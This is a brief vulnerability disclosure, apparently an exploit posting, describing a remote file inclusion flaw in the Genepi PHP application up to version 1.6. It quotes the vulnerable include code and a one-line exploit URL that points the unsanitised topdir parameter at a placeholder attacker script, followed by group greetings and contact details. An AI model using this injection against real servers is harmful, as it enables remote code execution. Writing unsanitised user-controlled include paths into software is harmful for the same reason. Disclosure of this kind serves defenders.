Genepi <= 1.6 [topdir] Remote File Include Vulnerability

Genepi <= 1.6 [topdir] Remote File Include Vulnerability

Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :
Remote : Yes
Critical Level : Dangerous

Affected software description :

Application : Genepi
version : 1.6
URL : anonymous@cvs.savannah.nongnu.org:/cvsroot/genepi genepi
------------------------------------------------------------------

Vurnerable CoDE:

$libdir = $topdir . 'lib/';

//blablabla…

//Including Genepi libs
//Base classes
include ($libdir . 'GenepiObject.php');
include ($libdir . 'parser.php');
include ($libdir . 'GenepiException.php');
include ($libdir . 'Dtd.php');

Exploit:

Variable $topdir not sanitized.When register_globals=on an attacker ca
n exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/genepi.php?topdir=[Evil_Script]
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Shoutz:
~~

# Greetz to [Oo], str0ke, th0r, RST TEAM: [ !_30, darkking, DarkWizzard, Elias, Icarius, MiniDisc, Nemessis, Shocker, SpiridusuCaddy and sysghost !]
# To all members of #h4cky0u and RST [ hTTp://RST-CREW.net ]
---------------------------------------------------------------------------

*/

Contact:

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RST-CREW.NET
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